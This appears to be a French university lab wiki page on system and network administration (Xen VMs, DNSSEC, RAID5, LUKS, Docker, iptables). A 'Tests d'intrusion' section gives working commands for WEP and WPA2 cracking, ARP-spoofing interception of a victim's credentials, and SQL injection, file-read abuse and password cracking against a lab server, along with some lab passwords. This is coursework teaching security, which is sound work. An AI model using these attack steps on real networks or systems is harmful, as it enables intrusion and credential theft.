 dnssec-signzone -o amanite.site -k amanite.site-ksk ../zones/amanite.site.db amanite.site-zsk &lt;br /&gt;
&lt;br /&gt;
Ensuite dans le fichier /etc/bind/named.conf.local nous modifions la zone :&lt;br /&gt;
 zone &amp;quot;amanite.site&amp;quot; IN {&lt;br /&gt;
     type master;&lt;br /&gt;
     file &amp;quot;/etc/bind/zones/amanite.site.db.signed&amp;quot;;&lt;br /&gt;
     allow-transfer{217.70.177.40;};&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
L'avant dernière étape consiste à communiquer la partie publique de la KSK (amanite.site-ksk.key) à Gandi (partie DNSSEC)&lt;br /&gt;
&lt;br /&gt;
Finalement nous relançons bind : &lt;br /&gt;
 service bind9 restart&lt;br /&gt;
&lt;br /&gt;
Nous vérifions la configuration de notre DNS grâce au site : https://dnssec-analyzer.verisignlabs.com/amanite.site&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Screenshot_amanite.site.png|thumb|center||alt=texte alternatif|400px|Screenshot sur le site DNSSEC Analyzer]]&lt;br /&gt;
&lt;br /&gt;
==Tests d'intrusion==&lt;br /&gt;
&lt;br /&gt;
===Cassage de clef WEP d’un point d’accès WiFi===&lt;br /&gt;
&lt;br /&gt;
*Liste des commandes :&lt;br /&gt;
** Lister les interfaces WiFi disponibles : airmong-ng&lt;br /&gt;
** Passage d'une interface en mode moniteur : airmong-ng start &amp;lt;Interface&amp;gt;&lt;br /&gt;
** Affichage et scan des réseaux WiFi WEP environnants : airodump-ng --encrypt wep &amp;lt;Interface&amp;gt;&lt;br /&gt;
** Capture des paquets émis par le point d'accés cible :  airodump-ng --write &amp;lt;nomFichierSortie&amp;gt; --channel 3 -bssid &amp;lt;@mac_AP&amp;gt; &amp;lt;nomInterface&amp;gt;&lt;br /&gt;
** Crack la clef WEP après avoir capture au minimum 30 000 paquets : aircrack-ng -x &amp;lt;nomFichierSortie&amp;gt;-01.cap&lt;br /&gt;
&lt;br /&gt;
Notre première étape consiste à passer notre interface en mode moniteur.&lt;br /&gt;
Nous utilisons donc la commande : airmong-ng&lt;br /&gt;
&lt;br /&gt;
Ce qui nous retourne le nom de notre interface, dans notre cas : &lt;br /&gt;
 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Nous démarrons cette interface en mode moniteur avec la commande afin d'écouter le trafic wifi aux alentours : &lt;br /&gt;
 airmong-ng start wlan0mon&lt;br /&gt;
 &lt;br /&gt;
Par la suite nous affichons l'ensemble des réseaux WiFi WEP capter par notre interface : &lt;br /&gt;
 airodump-ng --encrypt wep wlan0mon&lt;br /&gt;
&lt;br /&gt;
Apparaît alors la cracotte05, nous récupérons son BSSID : 04:DA:D2:9C:50:54 qui va alors nous servir à stocker les vecteurs d'initialisation générées par le point d'accés à l'aide de la commande : &lt;br /&gt;
 airodump-ng --write data --channel 3 -bssid 04:DA:D2:9C:50:54 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Nous pouvons &amp;quot;stimuler&amp;quot; le point d'accés, afin d'augmenter le nombre de paquets transmis (et collectés) : &lt;br /&gt;
 '''Fake Authentication''' : aireplay-ng -1 0 -e cracotte05 -a 04:DA:D2:9C:50:54 -h 40:A5:EF:01:35:79 wlan0mon&lt;br /&gt;
&lt;br /&gt;
 '''Injection''' : aireplay-ng -3 -e cracotte05 -b 04:DA:D2:9C:50:54 -h 40:A5:EF:01:35:79 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Après avoir capturer assez de paquet (environ 30 000) il est possible de cracker la clé WEP à l'aide de la commande : &lt;br /&gt;
 aircrack-ng -z data.cap&lt;br /&gt;
&lt;br /&gt;
Nous obtenons alors : &lt;br /&gt;
 KEY FOUND! [F1:DE:D4:00:00:00:00:00:00:00:0F:FF:FF ] &lt;br /&gt;
Decrypted correctly: 100%&lt;br /&gt;
&lt;br /&gt;
===Cassage de mot de passe WPA2-PSK par force brute===&lt;br /&gt;
&lt;br /&gt;
Pour cette deuxième étape de craquage de clé, nous allons utiliser quelques commandes communes au craquage de la clé WEP.&lt;br /&gt;
&lt;br /&gt;
Nous utilisons donc la commande : airmong-ng afin de lister nos interfaces, dans notre cas : &lt;br /&gt;
 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Nous démarrons cette interface en mode moniteur avec la commande : &lt;br /&gt;
 airmong-ng start wlan0mon&lt;br /&gt;
&lt;br /&gt;
Par la suite nous affichons l'ensemble des réseaux capter par notre interface : &lt;br /&gt;
 airodump-ng wlan0mon&lt;br /&gt;
&lt;br /&gt;
Nous repérons le réseau &amp;quot;Kracotte05&amp;quot; qui possède le BSSID suivant &amp;quot;00:14:1B:60:8C:24&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Nous pouvons lancer dès lors la commande :&lt;br /&gt;
 airodump-ng --write data -c 3 -bssid 00:14:1B:60:8C:24 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Il faut désormais attendre que le handshake soit notifié, dès que celui-ci arrive nous pouvons arreter la capture.&lt;br /&gt;
En parallèle nous pouvons d'ors et déjà créer le dictionnaire qui va nous permettre de casser la clé WPA grâce à la commande crunch :&lt;br /&gt;
 crunch 8 8 0123456789 &amp;gt; dico.txt&lt;br /&gt;
En effet nous savons que le mot de passe n'est composé que de chiffres et la taille totale de celui-ci est de longueur égale à 8.&lt;br /&gt;
&lt;br /&gt;
Pour cracker le mot de passe, nous avons utiliser hashcat, un utilitaire qui permet notamment d'utiliser la puissance du GPU pour le craquage de la clé.&lt;br /&gt;
&lt;br /&gt;
La commande est la suivante :&lt;br /&gt;
 crunch 8 8 0123456789 | hashcat -m 2500 output.hccapx&lt;br /&gt;
&lt;br /&gt;
Le mot de passe pour la kracotte05 est le suivant : 10244444&lt;br /&gt;
&lt;br /&gt;
===Attaque de type &amp;quot;homme au milieu&amp;quot; par usurpation ARP===&lt;br /&gt;
&lt;br /&gt;
Pour réaliser cette attaque, nous installons le paquet dsniff sur notre eeePC grâce à la commande :&lt;br /&gt;
 apt-get install dsniff&lt;br /&gt;
&lt;br /&gt;
La première étape consiste à transformer notre machine attaquante en routeur en mettant la variable noyau /proc/sys/net/ipv4/ip_forward à 1 : echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward &lt;br /&gt;
&lt;br /&gt;
Nous pouvons afficher la table arp de la machine pirate avec la commande : &lt;br /&gt;
 arp -a&lt;br /&gt;
Grâce à cette table nous identifions deux adresses IP :&lt;br /&gt;
&lt;br /&gt;
172.26.145.254&lt;br /&gt;
-&amp;gt; Adresse IP du routeur&lt;br /&gt;
&lt;br /&gt;
172.26.145.60&lt;br /&gt;
-&amp;gt; Adresse IP de la machine victime&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Notre but est de nous placer entre la gateway et la machine victime afin de pouvoir observer les paquets échangés entre le routeur et la machine victime.&lt;br /&gt;
&lt;br /&gt;
Les commandes suivantes vont nous permettre de procéder à notre attaque du type ARP poisoning :&lt;br /&gt;
 arpspoof -i eth0 -t 172.26.145.254 172.26.145.60 &lt;br /&gt;
 arpspoof -i eth0 -t 172.26.145.60 172.26.145.254 &lt;br /&gt;
&lt;br /&gt;
La première envoie à la cible (172.26.145.254) une fausse réponse ARP afin de corrompre le cache ARP de cette dernière pour ainsi détourner le trafic à destination de notre hôte (172.26.145.60). Ainsi lorsque le routeur devra envoyer des informations à destination de 172.26.145.60, il procédera à une résolution ARP en utilisant l'adresse MAC associé à l'IP 172.26.145.60 et qui aura été changer à la suite de notre spoofing (et nous sera alors associé). La même méthodologie est appliquée pour la seconde commande.&lt;br /&gt;
&lt;br /&gt;
En activant le mode routeur sur la machine pirate, nous pouvons retransférer les paquets entre le routeur et la machine victime de manière transparante. &lt;br /&gt;
&lt;br /&gt;
La machine victime va maintenant se connecter sur un serveur web HTTP.&lt;br /&gt;
&lt;br /&gt;
En lançant wireshark sur la machine attaquante nous observons les paquets suivants :&lt;br /&gt;
[[Fichier:wireshark_grp5.jpg|thumb|center||alt=texte alternatif|400px|Capture Wireshark]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nous pouvons voir très clairement l'adresse mail ainsi que le mot de passe utilisés par l'utilisateur victime.&lt;br /&gt;
&lt;br /&gt;
===Intrusion sur un serveur d’application Web===&lt;br /&gt;
&lt;br /&gt;
Pour commencer ce challenge nous n’avons qu’une adresse : honey.plil.info. Afin de connaitre les services sur cette machine nous utilisons l’utilitaire nmap qui va scanner le réseau grâce à des pings sweep :&lt;br /&gt;
&lt;br /&gt;
 nmap -A -T4 honey.plil.info&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Nmap_honey.png|thumb|center||alt=texte alternatif|400px|Nmap honey.plil.info]]&lt;br /&gt;
&lt;br /&gt;
Nous voyons que le serveur héberge deux services :&lt;br /&gt;
Un service de connexion ssh, inutilisable sans login et mot de passe&lt;br /&gt;
Un service web.&lt;br /&gt;
&lt;br /&gt;
Nous essayons donc de commencer par attaquer le site web honey.plil.info&lt;br /&gt;
&lt;br /&gt;
Sur la page principale seul un formulaire de connexion est présent, celui-ci sûrement utilisé par une base de données donc nous tentons une injection SQL.&lt;br /&gt;
Les requêtes SQL de connexions sont souvent de la forme : &lt;br /&gt;
Select … From … Where login = « username » AND password = « password ».&lt;br /&gt;
Si nous connaissons l’username ou le mot de passe du compte sur lequel nous voulons nous connecter nous pouvons utiliser une injection du type « or 1 = 1 -- » qui est une condition toujours vraie. Dans notre cas nous ne connaissons ni le login ni le password à utiliser donc on utilise la condition vraie sur les deux champs. De ce fait la base de données sera « perdu » et nous renvoie tous les comptes auxquels nous pouvons nous connecter en nous disant que nous ne pouvons nous connecter à tous ces comptes en même temps.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Sql_injection_honey.png|thumb|center||alt=texte alternatif|400px|Injection SQL honey.plil.info]]&lt;br /&gt;
&lt;br /&gt;
Une fois connecté en tant qu’admin nous voyons que nous avons accès à trois pages, deux sont intéressantes :&lt;br /&gt;
- La première permet d’uploader un fichier qui est stocké sur le pc du server&lt;br /&gt;
- La deuxième permet de lire ce fichier.&lt;br /&gt;
&lt;br /&gt;
Nous uploadons le fichier password situé dans le dossier « etc », en le lisant nous nous apercevons que deux utilisateurs sont présents sur le serveur : root et rex et ces deux utilisateurs ont les droits pour se connecter en ssh. Nous uploadons le fichier shadow situé dans le dossier « etc », malheureusement celui-ci est vide.&lt;br /&gt;
&lt;br /&gt;
Après quelques tentatives infructueuses pour trouver le mot de passe de rex ou de root on se sert de l’utilitaire dirb qui va bruteforce le site internet pour trouver d’autres liens.&lt;br /&gt;
&lt;br /&gt;
 dirb -r honey.plil.info&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Dirb_honey.png|thumb|center||alt=texte alternatif|400px|Dirb honey.plil.info]]&lt;br /&gt;
&lt;br /&gt;
Celui-ci nous permet de voir qu’une page http://honey.plil.info/phpmyadmin/ est présente. Nous avons fait des recherches pour savoir dans quel fichier était stocké le mot de passe administrateur de phpmyadmin. Nous uploadons donc le fichier config.inc.php, à l’intérieur de celui-ci nous ne trouvons rien excepté un deuxième nom de fichier : “config-db.php”. Dans celui-ci nous trouvons le mot de passe “gencovid19”. Une fois connecté en tant que root sur phpmyadmin, nous fouillons les bases de données et nous trouvons le nom d’utilisateur “rex” et le mot de passe “plainpassword” dans la base “test”.&lt;br /&gt;
&lt;br /&gt;
Une fois connecté en ssh sur le compte de rex, nous avons regardé ses droits et ceux-ci sont quasi identique à ceux de root on peut donc ouvrir le fichier “shadow”, récupérer le hash du mot de passe de root. Nous avons ensuite créé un dictionnaire en partant du principe que le mot de passe était de la forme &amp;quot;glopglop&amp;quot; et nous avons craqué le hash avec John the ripper qui nous donne le mot de passe ********.&lt;br /&gt;
&lt;br /&gt;
==Réalisations==&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de données===&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, nous créons 3 partitions virtuelles grâce aux commandes :&lt;br /&gt;
&lt;br /&gt;
 lvcreate -L1G -n amanite-raid1 storage&lt;br /&gt;
 lvcreate -L1G -n amanite-raid2 storage&lt;br /&gt;
 lvcreate -L1G -n amanite-raid3 storage&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous modifions le fichier : /etc/xen/amanite.cfg&lt;br /&gt;
 disk        = [&lt;br /&gt;
                  'file:/usr/local/xen/domains/amanite/disk.img,xvda2,w',&lt;br /&gt;
                  'file:/usr/local/xen/domains/amanite/swap.img,xvda1,w',&lt;br /&gt;
                  'phy:/dev/storage/RingotSanchez1,xvda3,w',&lt;br /&gt;
                  'phy:/dev/storage/RingotSanchez2,xvda4,w',&lt;br /&gt;
                  'phy:/dev/storage/amanite-raid1,xvda5,w',&lt;br /&gt;
                  'phy:/dev/storage/amanite-raid2,xvda6,w',&lt;br /&gt;
                  'phy:/dev/storage/amanite-raid3,xvda7,w'&lt;br /&gt;
              ]&lt;br /&gt;
&lt;br /&gt;
Puis nous redémarrons notre VM.&lt;br /&gt;
 xl destroy amanite&lt;br /&gt;
 xl create /etc/xen/amanite.cfg&lt;br /&gt;
&lt;br /&gt;
Après avoir relancer notre VM, nous installons le paquet mdadm.&lt;br /&gt;
&lt;br /&gt;
 apt instal mdadm&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous construisons notre volume RAID 5, et nous nous assurons que ce dernier est démarré à chaque démarrage de notre VM.&lt;br /&gt;
&lt;br /&gt;
 mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvda5 /dev/xvda6 /dev/xvda7 &lt;br /&gt;
 mdadm --monitor --daemonise /dev/md0&lt;br /&gt;
&lt;br /&gt;
Nous formatons notre volume RAID.&lt;br /&gt;
&lt;br /&gt;
 mkfs.ext4 /dev/md0 &lt;br /&gt;
&lt;br /&gt;
Et nous rajoutons la ligne suivante dans /etc/fstab :&lt;br /&gt;
&lt;br /&gt;
 /dev/md0 /raid5 ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
Nous pouvons avoir des détails notre volume grâce à la commande : &lt;br /&gt;
 mdadm --detail /dev/md0&lt;br /&gt;
&lt;br /&gt;
Pour finir, nous montons et peuplons notre volume RAID.&lt;br /&gt;
 mount /dev/md0 /mnt&lt;br /&gt;
 touch coucou.txt&lt;br /&gt;
&lt;br /&gt;
A partir de là, nous avons une configuration persistante du raid. Le RAID 5 sera identifié au boot et monté automatiquement. Nous pouvons maintenant tester notre volume RAID, nous simulons une panne sur un de nos disques.&lt;br /&gt;
&lt;br /&gt;
Nous déclarons un de nos disques comme étant en défaillance :&lt;br /&gt;
&lt;br /&gt;
 mdadm --set-faulty /dev/md0 /dev/xvda7&lt;br /&gt;
&lt;br /&gt;
Puis nous l'enlevons de notre volume RAID :&lt;br /&gt;
 mdadm --remove /dev/xvda7&lt;br /&gt;
&lt;br /&gt;
Nous constatons que notre fichier coucou.txt est toujours présent, malgré la panne de l'un de nos disques.&lt;br /&gt;
&lt;br /&gt;
Puis nous rajoutons notre disque dans notre volume RAID (ce dernier n'étant pas réellement défaillant) :&lt;br /&gt;
 mdadm --manage /dev/md0 --add /dev/xvda7&lt;br /&gt;
&lt;br /&gt;
===Chiffrement de données===&lt;br /&gt;
&lt;br /&gt;
Notre but est de chiffrer les données contenus sur une clé usb en utilisant l'utilitaire cryptsetup.&lt;br /&gt;
&lt;br /&gt;
Après avoir trouvé notre clé usb avec lsblk, on formatte celle-ci. Puis on utilise l'utilitaire cryptsetup pour la chiffrer.&lt;br /&gt;
&lt;br /&gt;
 cryptsetup luksFormat /dev/sdb&lt;br /&gt;
 cryptsetup luksOpen /dev/sdb crypt_sdb&lt;br /&gt;
&lt;br /&gt;
Ces deux commandes nous permettent d'ouvrir notre clé usb avec cryptsetup, ainsi que d'ajouter un lien crypt_sdb dans /dev/mapper. Pour pouvoir utiliser la clé il faut reformater la partition luks.&lt;br /&gt;
&lt;br /&gt;
 mkfs.ext4 /dev/mapper/crypt_sdb&lt;br /&gt;
&lt;br /&gt;
Pour pouvoir ajouter un fichier sur celle-ci nous devons la monter.&lt;br /&gt;
 &lt;br /&gt;
 mount /dev/mapper/crypt_sdb /mnt&lt;br /&gt;
&lt;br /&gt;
Puis nous y ajoutons un fichier.&lt;br /&gt;
&lt;br /&gt;
 touch /mnt/test.txt&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite unmount la clé et nous avons essayé de l'ouvrir sur un autre pc.&lt;br /&gt;
&lt;br /&gt;
 umount /mnt&lt;br /&gt;
 cryptsetup luksClose crypt_sdb&lt;br /&gt;
&lt;br /&gt;
Après avoir monté la clé sur un autre pc nous constatons que nous ne pouvons voir les fichiers présent. Pour les voir nous devons utiliser le mot de passe rentré lors de cryptsetup luksFormat.&lt;br /&gt;
&lt;br /&gt;
===Inspection ARP par un élément réseau===&lt;br /&gt;
&lt;br /&gt;
Après avoir effectué des recherches nous nous sommes rendu compte que l'asa 5506-x ne faisait pas switch et ne nous permettait donc pas de pouvoir l'utiliser contre l'ARP spoofing.&lt;br /&gt;
&lt;br /&gt;
===Sécurisation WiFi par WPA2-EAP===&lt;br /&gt;
&lt;br /&gt;
== Partie 7 ==&lt;br /&gt;
&lt;br /&gt;
=== Architecture de la ferme ===&lt;br /&gt;
&lt;br /&gt;
Pour notre groupe, l'ensemble des machines virtuelles Xen étaient déjà installées.  &lt;br /&gt;
&lt;br /&gt;
Sur notre machine virtuelle côté chassiron voici la configuration dans notre fichier /etc/network/interfaces :&lt;br /&gt;
 # The primary network interface                                                                                                                              &lt;br /&gt;
 auto eth0                                                                                                                                                    &lt;br /&gt;
 iface eth0 inet static                                                                                                                                        &lt;br /&gt;
 address 193.48.57.184                                                                                                                                        &lt;br /&gt;
 netmask 255.255.255.255                                                                                                                                      &lt;br /&gt;
 up ip address add dev eth0 100.64.0.24/24                                                                                                                    &lt;br /&gt;
 up ip route add default via 100.64.0.2 src 193.48.57.184                                                                                                     &lt;br /&gt;
 down ip address del dev eth0 100.64.0.24/24                                                                                                                  &lt;br /&gt;
 down ip route del default via 100.64.0.2 src 193.48.57.184                                                                                                                                                                                                                                                               &lt;br /&gt;
 &lt;br /&gt;
 # The secondary network interface                                                                                                                            &lt;br /&gt;
 auto eth1                                                                                                                                                    &lt;br /&gt;
 iface eth1 inet static                                                                                                                                        &lt;br /&gt;
 address 192.168.42.19                                                                                                                                        &lt;br /&gt;
 netmask 255.255.255.0 &lt;br /&gt;
&lt;br /&gt;
Nous avons mis en place notre propre masquarade avec les commandes suivantes :&lt;br /&gt;
 iptables -P FORWARD DROP&lt;br /&gt;
 iptables -A FORWARD -j ACCEPT -s 192.168.45.5/24&lt;br /&gt;
 iptables -A FORWARD -j ACCEPT -d 192.168.45.5/24&lt;br /&gt;
 iptables -t nat -A POSTROUTING -j SNAT -s 192.168.42.5/24 --to-source 193.48.57.184&lt;br /&gt;
Ce qui permet à nos paquets en provenance de 192.168.45.5 de pouvoir sortir sur internet en passant par notre interface eth0 de notre machine virtuelle sur capbreton&lt;br /&gt;
&lt;br /&gt;
Nous avons modifié notre fichier /etc/resolv.conf :                                                                                               &lt;br /&gt;
 nameserver 127.0.0.1&lt;br /&gt;
&lt;br /&gt;
Et supprimé le 01proxy qui se situe dans /etc/apt/apt.conf.d&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Sur notre machine virtuelle côté chassiron voici la configuration dans notre fichier /etc/network/interfaces :&lt;br /&gt;
 # The primary network interface&lt;br /&gt;
 auto eth0                                                                                                               &lt;br /&gt;
 iface eth0 inet static                                                                                                    &lt;br /&gt;
 address 192.168.42.5/24                                                                                                 &lt;br /&gt;
 gateway 192.168.42.19 &lt;br /&gt;
&lt;br /&gt;
Nous avons également modifié notre fichier /etc/resolv.conf :&lt;br /&gt;
 domain plil.info                                                                                                        &lt;br /&gt;
 search plil.info plil.fr                                                                                                &lt;br /&gt;
 nameserver 192.168.42.19&lt;br /&gt;
&lt;br /&gt;
Et supprimé le 01proxy qui se situe dans /etc/apt/apt.conf.d&lt;br /&gt;
&lt;br /&gt;
Nous modifions les fichiers /etc/resolv.conf pour supprimer le dns de l'ecole et nous supprimons le fichier /etc/apt/apt.conf.d/01proxy pour ne pas passer par le proxy de l'école.&lt;br /&gt;
&lt;br /&gt;
=== Installation de docker ===&lt;br /&gt;
&lt;br /&gt;
=== Création de votre conteneur ===&lt;br /&gt;
&lt;br /&gt;
Pour lancer notre containeur web nous avons commencé par créer le Dockerfile :&lt;br /&gt;
&lt;br /&gt;
 FROM httpd:2.4&lt;br /&gt;
 COPY . /usr/local/apache2/htdocs/&lt;br /&gt;
 CMD [&amp;quot;httpd&amp;quot;, &amp;quot;-D&amp;quot;, &amp;quot;FOREGROUND&amp;quot;]&lt;br /&gt;
&lt;br /&gt;
 docker build -t web .&lt;br /&gt;
&lt;br /&gt;
 docker run -d -p &amp;quot;8085:80&amp;quot; --name web web&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite créé un role ansible pour créer un depot local docker sur notre machine secondaire :&lt;br /&gt;
&lt;br /&gt;
 - name: Setup registry&lt;br /&gt;
   docker_container:&lt;br /&gt;
           name: registry&lt;br /&gt;
           image: registry&lt;br /&gt;
           ports:&lt;br /&gt;
                   - &amp;quot;5000:5000&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Après cela nous avons voulu push notre image &amp;quot;web&amp;quot; vers notre depot mais une erreur est surevenue, celle-ci viens du fait qu'il fallait ajouter&lt;/div&gt;</summary>
		<author><name>Psanchez</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G5&amp;diff=54944</id>
		<title>TP sysres IMA5sc 2020/2021 G5</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G5&amp;diff=54944"/>
				<updated>2020-12-17T22:45:51Z</updated>
		
		<summary type="html">&lt;p&gt;Psanchez : /* Création de votre conteneur = */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Groupe !! Domaine !! Distribution !! VLAN privé !! IP (VLAN333) !! Netmask (VLAN333) !! Gateway (VLAN333) !! Gateway 6509-E (VLAN333) !! Gateway 9200 (VLAN333) !! IP (publique)&lt;br /&gt;
|-&lt;br /&gt;
| Groupe 5&lt;br /&gt;
| amanite.site&lt;br /&gt;
| Debian 10 Buster&lt;br /&gt;
| 305&lt;br /&gt;
| 100.64.0.24&lt;br /&gt;
| 255.255.255.0&lt;br /&gt;
| 100.64.0.254&lt;br /&gt;
| 100.64.0.1&lt;br /&gt;
| 100.64.0.2&lt;br /&gt;
| 193.48.57.184&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
==Création d'une machine virtuelle Xen Linux sur le dom0 capbreton.plil.info==&lt;br /&gt;
&lt;br /&gt;
Connexion ssh :&lt;br /&gt;
&lt;br /&gt;
ssh pifou@capbreton.plil.info&lt;br /&gt;
&lt;br /&gt;
Création de la VM Xen :&lt;br /&gt;
&lt;br /&gt;
&amp;gt; su - (Afin de pouvoir accéder aux variables d'environnement de su et ainsi accéder à sbin/mkswap)&lt;br /&gt;
&lt;br /&gt;
&amp;gt; xen-create-image --hostname=amanite --ip=100.64.0.19 --netmask=255.255.255.0 --gateway=100.64.0.5 --password=pasglop --dir=/usr/local/xen --dist=buster &lt;br /&gt;
&lt;br /&gt;
Résultat de la commande :&lt;br /&gt;
 General Information&lt;br /&gt;
 --------------------&lt;br /&gt;
 Hostname       :  amanite&lt;br /&gt;
 Distribution   :  buster&lt;br /&gt;
 Mirror         :  http://deb.debian.org/debian&lt;br /&gt;
 Partitions     :  swap            512M  (swap)&lt;br /&gt;
                  /               4G    (ext4)&lt;br /&gt;
 Image type     :  sparse&lt;br /&gt;
 Memory size    :  256M&lt;br /&gt;
 Kernel path    :  /boot/vmlinuz-4.19.0-9-amd64&lt;br /&gt;
 Initrd path    :  /boot/initrd.img-4.19.0-9-amd64&lt;br /&gt;
&lt;br /&gt;
 Networking Information&lt;br /&gt;
 ----------------------&lt;br /&gt;
 IP Address 1   : 100.64.0.19 [MAC: 00:16:3E:C4:6A:BB]&lt;br /&gt;
 Netmask        : 255.255.255.0&lt;br /&gt;
 Gateway        : 100.64.0.5&lt;br /&gt;
&lt;br /&gt;
===Configuration des LV===&lt;br /&gt;
&lt;br /&gt;
Après que Guillaume ait créer un volume group sur capbreton pour chaque groupe puis attribuer 2 Logical Volume (LV) de 10Go sur ce volume group il est nécessaire de formater ces 2 LV à l'aide des commandes suivantes :&lt;br /&gt;
&lt;br /&gt;
 root@capbreton:~# mkfs.ext4 /dev/storage/amanite1&lt;br /&gt;
 root@capbreton:~# mkfs.ext4 /dev/storage/amanite2&lt;br /&gt;
&lt;br /&gt;
Nous avons par la suite modifier le fichier config de la VM, ''amanite.cfg'', afin qu'elle possède les volumes loguqes amanite1 et amanite2 précédemment créé en rajoutant les lignes ci-dessous :&lt;br /&gt;
&lt;br /&gt;
Dans la fonction Disk Device(s) :&lt;br /&gt;
 disk = [&lt;br /&gt;
 ...&lt;br /&gt;
 'phy:/dev/storage/RingotSanchez1,xvdav3,w'&lt;br /&gt;
 'phy:/dev/storage/RingotSanchez2,xvdav4,w'&lt;br /&gt;
 ]&lt;br /&gt;
&lt;br /&gt;
Puis dans Networking :&lt;br /&gt;
 vif = [ 'bridge=IMA5sc, ...']&lt;br /&gt;
&lt;br /&gt;
===Création et configuration de la machine virtuelle===&lt;br /&gt;
&lt;br /&gt;
Lorsque nous sommes connecté en ssh à capbreton, creation de la VM avec la commande : xl create -c /etc/xen/amanite.cfg&lt;br /&gt;
&lt;br /&gt;
*Commandes utiles&lt;br /&gt;
** Affichage de l'ensemble des VM présente sur capbreton : xl list&lt;br /&gt;
** Se connecter à la VM : xen console amanite&lt;br /&gt;
 Identifiant de la machine : root&lt;br /&gt;
 Mdp de la machine : pasglop&lt;br /&gt;
&lt;br /&gt;
'''Suite de la configuration'''&lt;br /&gt;
&lt;br /&gt;
Pour que les répertoires /var et /home de la machine virtuelle soient sur des partitions LVM de l’hôte il faut tout d'abord formater xvda3, xvda4 en ext 4  à l'aide des commandes : &lt;br /&gt;
 root@amanite:~# mkfs.ext4 /dev/xvda3 &lt;br /&gt;
 root@amanite:~# mkfs.ext4 /dev/xvda4&lt;br /&gt;
&lt;br /&gt;
Par la suite nous montons nos deux disques afin d'y déplacer nos répertoires (en ayant préalablement créer les points de montages /mnt/xvda3 et /mnt/xvda4) :&lt;br /&gt;
&lt;br /&gt;
 root@amanite:~# mount /dev/xvda3 /mnt/xvda3&lt;br /&gt;
 root@amanite:~# mount /dev/xvda4 /mnt/xvda4&lt;br /&gt;
&lt;br /&gt;
Le répertoire /home étant vide nous ne déplaçons que le répertoire /var dans le disques xvda4 :&lt;br /&gt;
&lt;br /&gt;
 root@amanite:~# mv /var/* /mnt/xvda4.&lt;br /&gt;
&lt;br /&gt;
Puis nous démontons (umount) nos deux volumes.&lt;br /&gt;
&lt;br /&gt;
Nous modifions ensuite /ect/fstab en ajoutant :&lt;br /&gt;
 /dev/xvda3 /home ext4 defaults 0 2&lt;br /&gt;
 /dev/xvda4 /var ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
Puis nous les montons à l'aide de la commande : &lt;br /&gt;
 mount -a &lt;br /&gt;
Finalement à l'aide de la commande lsblk nous pouvons verifier notre montage : &lt;br /&gt;
 NAME  MAJ:MIN RM  SIZE RO TYPE MOUNTPOINT&lt;br /&gt;
 xvda1 202:1    0  512M  0 disk [SWAP]&lt;br /&gt;
 xvda2 202:2    0    4G  0 disk /&lt;br /&gt;
 xvda3 202:3    0   10G  0 disk /home&lt;br /&gt;
 xvda4 202:4    0   10G  0 disk /var&lt;br /&gt;
&lt;br /&gt;
==Service Internet==&lt;br /&gt;
&lt;br /&gt;
===Serveur SSH===&lt;br /&gt;
&lt;br /&gt;
Installation d'un serveur ssh, accessible grâce à la commande :&lt;br /&gt;
 ssh root@amanite.site&lt;br /&gt;
avec le mot de passe habituel d'une zabeth non root. (Il faut au préalable avoir autoriser la connexion en root : PermitRootLogin yes dans le fichier /etc/ssh/sshd_config)&lt;br /&gt;
&lt;br /&gt;
===Serveur DNS===&lt;br /&gt;
&lt;br /&gt;
Nous avons commencé par louer un nom de domaine sur gandi.net :&lt;br /&gt;
 amanite.site&lt;br /&gt;
Nous avons ensuite installé le package bind9.&lt;br /&gt;
&lt;br /&gt;
Dans le dossier de configuration de bind9 on modifie les fichiers de configurations :&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/named.conf.local :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;amanite.site&amp;quot; IN {&lt;br /&gt;
     type master;&lt;br /&gt;
     file &amp;quot;/etc/bind/zones/amanite.site.db&amp;quot;;&lt;br /&gt;
     allow-transfer{217.70.177.40;};&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/zones/amanite.site.db :&lt;br /&gt;
&lt;br /&gt;
 ;BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL    604800&lt;br /&gt;
 @       IN      SOA     ns1.amanite.site. postmaster.amanite.site. (&lt;br /&gt;
                              6         ; Serial&lt;br /&gt;
                         604800         ; Refresh&lt;br /&gt;
                          86400         ; Retry&lt;br /&gt;
                        2419200         ; Expire&lt;br /&gt;
                         604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      ns1.amanite.site.&lt;br /&gt;
 @       IN      NS      ns6.gandi.net.&lt;br /&gt;
 @	 IN 	 MX	 42 ns1&lt;br /&gt;
